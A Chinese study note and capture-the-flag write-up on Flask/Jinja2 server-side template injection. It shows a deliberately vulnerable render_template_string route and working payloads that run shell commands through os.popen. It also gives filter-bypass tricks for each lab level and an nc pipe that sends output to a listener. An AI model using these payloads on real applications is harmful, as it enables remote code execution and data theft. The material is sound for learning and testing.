sst
- sst是服务器端模板,是一个包含响应文本的文件
- SST将页面中大量重复使用固定内容与变动内容分离,固定内容作为模板,而变动内容作为变量,每当该页面需要使用时只需要在模板中将变量替换为所需值即可,而不必为每次使用时从头到尾的生成两个完全不同的页面。
- Flask是一款使用python编写的模板,是sst的一种
模板引擎(语言)
- 模板引擎的实现方式有很多,最简单的是“置换型”模板引擎,这类模板引擎只是将指定模板内容(字符串)中的特定标记(子字符串)替换一下便生成了最终需要的业务数据(比如网页)。置换型模板引擎实现简单,但其效率低下,无法满足高负载的应用需求(比如有海量访问的网站),因此还出现了“解释型”模板引擎和“编译型”模板引擎等。
- 个人理解,模板引擎就是把模板内容转换成网页的工具
- Jinja2是基于python的模板引擎,是模板引擎(语言)的一种
- 网页可以使用不同模板引擎,模板引擎可以装入不同sst,就像vocloid可以装入不同声源库,每个声源库可以装入不同midi
flask模板注入原理
- Jinja2引擎存在以下三种语法:
- 控制结构 {% %}
- 变量取值 {{ }}
- 注释 {# #}
- {{ }}内的内容,Jinja2渲染时不仅仅只进行填充和替换,还能够执行部分表达式。
- lask在渲染时主要使用以下两种方法:
render_template
render_template_string
render_template用于渲染html文件而render_template_string用于渲染html语句,当这个html语句是受用户控制的时候,就会出问题了。
一个渲染模板代码示例:
from flask import Flask, request, render_template_string
app = Flask(__name__)//实例化flask对象,传入本文件名做参数
@app.route('/')
def hello_world():
return 'Hello World!'
@app.route('/function/<int:num>')
#route后的url中,参数值是以<type:name>的方式来传递的。
#我们可以通过url xxx/function/xxx 来传入num值,访问我们的test方法。
#也可以通过页面提供的接口传入值
def test(num):
print(num)
# ...
@app.route('/function2/')
def test2():
s = request.args.get('code')
html = '<h3>%s</h3>'%(s)
return render_template_string(html)//render_template_string用于渲染html语句
# ...
if __name__ == '__main__':
app.run()
flask注入知识
python知识
-
实例调用class属性时会指向该实例对应的类,然后可以再去调用其它类属性
-
base属性查看对应的父类
-
name属性表示名字
-
globals包含了当前环境中所有可以全局访问的对象
-
subclasses()查看类的直接子类
-
init初始化类(相当于php析构函数)
-
os是Python 的一个标准库模块,popen在这个模块中
-
popen是一个函数,就是执行()中的命令
-
builtins是 Python 中的一个模块,eval在这个模块中
-
import用来调用模块
-
内置属性与内置属性,内置属性与方法之间可用.来连接,也可用来连接,比如:
{{lipsum[__globals__][__getitem__]("os")[popen]("cat flag")[read]()}} 可以写作: {{lipsum.__globals__.__getitem__("os").popen("cat flag").read()}} 都是一个意思
flask注入的父语句
-
flask注入方式很多,但是都是从以下3条父语句演变来哒(应该吧?)
-
第一种:从一个任意字符进入它的父类object,再查看子类,就可以看到python所有内置类,搜索_wrap_close类,找到后初始化并搜索打开popen函数(这样做是通过函数做的)
{%for i in ''.__class__.__base__.__subclasses__()%} {%if i.__name__=='_wrap_close'%} {%print i.__init__.__globals__['popen']('cat flag').read()%} {%endif%} {%endfor%}
-
第二种:从任意一个字母进入str类,搜索找到builtins模块,调用其中的eval函数来载入os模块,再打开os模块里面的popen
{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat flag').read()")}}
-
第三种(推荐):从lipsum(根本搜不到这是什么,不知道为啥也没法替换)进入它拥有的os模块,直接打开popen
{{lipsum.__globals__.__getitem__("os").popen("cat flag").read()}}
被过滤了咋整
回显过滤
-
网页不给我们显示回显,可以将回显发送到本机某个指定的端口,提前监听它就可以了
监听80端口nc -lvnp 80
发送结果至本机80端口:cat flag|nc 127.0.0.1 80
方括号过滤
-
最好的办法就是用上面的父方法2或3
-
也可以用getitem代替,.getitem('popen')相当于[popen]
父方法的payload变成:
{%for i in ''.__class__.__base__.__subclasses__()%} {%if i.__name__=='_wrap_close'%} {%print i.__init__.__globals__.__getitem__('popen')('cat flag').read()%} {%endif%} {%endfor%}
引号过滤
-
拿第三种父方法举例子吧
-
最简单的方法是set大法(下面会提)
-
也可以request绕过,让特殊字符代替需要引号的内容,再在burp中传入该特殊字符的值cookie:x1=_wrap_close(传参),把两个字符串绑定起来(这样传一遍会被自动加点点)
{{lipsum.__globals__.__getitem__(request.cookies.x1).popen(request.cookies.x2).read()}} Cookie:x1=os;x2=cat flag
点点过滤
-
拿第三种父方法举例子吧
-
最简单的方法是set大法(下面会提)
-
attr()连接
{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat flag')|attr('read')()}}
下划线过滤
-
拿第三种父方法举例子吧
-
最简单的方法是set大法(下面会提)
-
这里用request+attr()处理
{{lipsum|attr(request.cookies.x1)|attr(request.cookies.x2)('os')|attr('popen')('cat flag')|attr('read')()}} Cookie:x1=__globals__;x2=__getitem__
数字过滤
- 三个父语句没有那个会受到影响
- 最简单的方法是set大法(下面会提)
- 一般使用set时可能会受到影响
字符串过滤
-
拿第三种父方法举例子吧
先把父语句: {{lipsum.__globals__.__getitem__("os").popen("cat flag").read()}} 改写为: {{lipsum[__globals__][__getitem__]("os")[popen]("cat flag")[read]()}} 然后用引号隔开 {{lipsum['__glob''als__']['__geti''tem__']("os")['po''pen']("cat flag")['re''ad']()}}
-
经过测试,只有被改写成下面那个部分的形式才能用引号(不知道为什么)
set大法
-
适用于所有符号,所有数字被过滤的情况
-
如果是符号被过滤
用这个指令把所有符号打印出来: {{(lipsum|string|list)}} 康康被过滤的符号是第几个 比如下划线是第18个,这个语句就没有使用下划线就让我们得到了下划线 {{(lipsum|string|list)|attr("pop")(18)}} 把下划线的值set给一个没有被过滤的字符串就可以了(这里直接给下划线,相当于xaihuaxian="_") {% set xiahuaxian=(lipsum|string|list)|attr("pop")(18)%} 为目标添加下划线: {% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %} 这样getitem就代替了__getitem__而且没有用到_
-
如果是引号被过滤
引号被过滤不用查看是第几个符号,可以使用这个语句获得"pop"却没有""符号 {%dict(pop=a)|join%} 把下划线的值set给一个没有被过滤的字符串就可以了(这里直接给pop,相当于pop="pop") {% set pop=dict(pop=a)|join%}
-
如果是数字被过滤
用以下语句获得9 {% dict(aaaaaaaaa=a)|join|count %} 把9的值set给一个没有被过滤的字符串就可以了(这里直接给nine,相当于nine=9) {% set nine=dict(aaaaaaaaa=a)|join|count %} 有一个小技巧,比如获得18这个较大的数,不用输18个a,直接: {% set eighteen=nine+nine %}
-
level11就是set大法的综合运用
ssti靶场wp
level1
-
页面提示无过滤,直接用for循环搜索os._wrap_close类,找到它是第多少个后,进入类用global函数找popen方法
{%for i in ''.__class__.__base__.__subclasses__()%} {%if i.__name__=='_wrap_close'%} {%print i.__init__.__globals__['popen']('cat flag').read()%} {%endif%} {%endfor%}
注意:以上语句,两个{%%}{%%}中间如果有空格,就会使输出结果带一堆空格(未找到原因)
level2
- 页面过滤{{}},方法和level1一样
level3
-
看提示,页面无回显,把查看命令改为'cat flag|nc 127.0.0.1 80'(这里设置成自己的ip)把flag输出到指定ip
{%for i in ''.__class__.__base__.__subclasses__()%} {%if i.__name__=='_wrap_close'%} {%print i.__init__.__globals__['popen']('cat flag|nc 127.0.0.1 80').read()%} {%endif%} {%endfor%}
-
事先再开一个终端,输入nc -lvnp 80意思是监听本机80端口,就可以得到之前的flag
level4
-
查看提示,过滤了[],那么globals方法会受影响
-
[]可以用getitem代替,.getitem('popen')相当于[popen]
{%for i in ().__class__.__base__.__subclasses__()%} {%if i.__name__=='_wrap_close'%} {%print i.__init__.__globals__.__getitem__('popen')('cat flag').read()%} {%endif%} {%endfor%}
level5
-
查看提示,过滤了单引号和双引号,利用request绕过(cookie传参)(这样传一遍会被自动加点点)
-
也可以用set大法
-
让特殊字符代替需要引号的内容,比如:i.name=='_wrap_close'变成request.cookies.x1,再在burp中传入该特殊字符的值cookie:x1=_wrap_close(传参),把两个字符串绑定起来
{%for i in ().__class__.__base__.__subclasses__()%} {%if i.__name__==request.cookies.x1%} {%print i.__init__.__globals__.__getitem__(request.cookies.x2)(request.cookies.x3).read()%} {%endif%} {%endfor%} Cookie:x1=_wrap_close;x2=popen;x3=cat flag
level6
-
查看提示,过滤了_,可以用request传参,再用attr()函数连接(就不用点点了),|为分隔符
{{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat flag').read()
level7
-
查看提示,过滤了
.
,直接attr()连接{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat flag')|attr('read')()}}
level8
-
原payload(可以写成这样见知识部分)
{{lipsum[__globals__][__getitem__]("os")[popen]("cat flag")[read]()}}
-
查看提示,过滤了"class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr",可以利用拼接的方式来构造.
{{lipsum['__glo''bals__']['__geti''tem__']("os")['pop''en']("cat flag")['read']()}}
level9
-
过滤了0~9,就和没过滤一样
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
level10
-
过滤了config,和level1一样
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
-
看了解析才知道这关是获取config,payload如下
{{url_for.__globals__['current_app'].config}}
level11(SET大法)
-
过滤了\,引号, +, request, 点点, 中括号
-
确定payload
父语句: {{lipsum.__globals__.__getitem__("os").popen("cat flag").read()}} 去掉点点: {{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
-
下划线被set弄没了,用set解决
引号被过滤用,用set解决
空格被过滤,用set解决
点点被过滤,用attr()解决
中括号被过滤,用attr()解决
\被过滤不管他
+被过滤不管他
request被过滤不管他
-
先处理下划线
看下划线在第几个
{{(lipsum|string|list)}}
是第18个
-
本来这样获取下划线
{{(lipsum|string|list)|attr("pop")(18)}}
但是''被过滤了,就再构造一个''pop''
-
构造''pop'',把所有pop替换为''pop''
{% set pop=dict(pop=a)|join%}
-
获取下划线
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
-
按上面的方法把每个需要下划线的地方添加下划线
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %} {% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
-
同理,添加空格
{% set space=(lipsum|string|list)|attr(pop)(9)%}
-
同理,给cat flag,os,popen,read加引号
{% set os=dict(os=a)|join %} {% set popen=dict(popen=a)|join%} {% set linux=(dict(cat=a)|join,space,dict(flag=a)|join)|join%} {% set read=dict(read=a)|join%}
-
最后调用命令
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(linux)|attr(read)()}}
汇总:
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set linux=(dict(cat=a)|join,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(linux)|attr(read)()}}
level12
-
把数字也过滤了,把level11的payload加入数字即可(使用了9和18两个数字)
{% set nine=dict(aaaaaaaaa=a)|join|count %} {% set eighteen=nine+nine %}
汇总: {% set nine=dict(aaaaaaaaa=a)|join|count %} {% set eighteen=nine+nine %}//靠,不能这么整,+被过滤了,老老实实打18个a吧 {% set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count %} {% set pop=dict(pop=a)|join%} {% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%} {% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %} {% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %} {% set space=(lipsum|string|list)|attr(pop)(nine)%} {% set os=dict(os=a)|join %} {% set popen=dict(popen=a)|join%} {% set linux=(dict(cat=a)|join,space,dict(flag=a)|join)|join%} {% set read=dict(read=a)|join%} {{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(linux)|attr(read)()}}
level13
-
- 和level12一样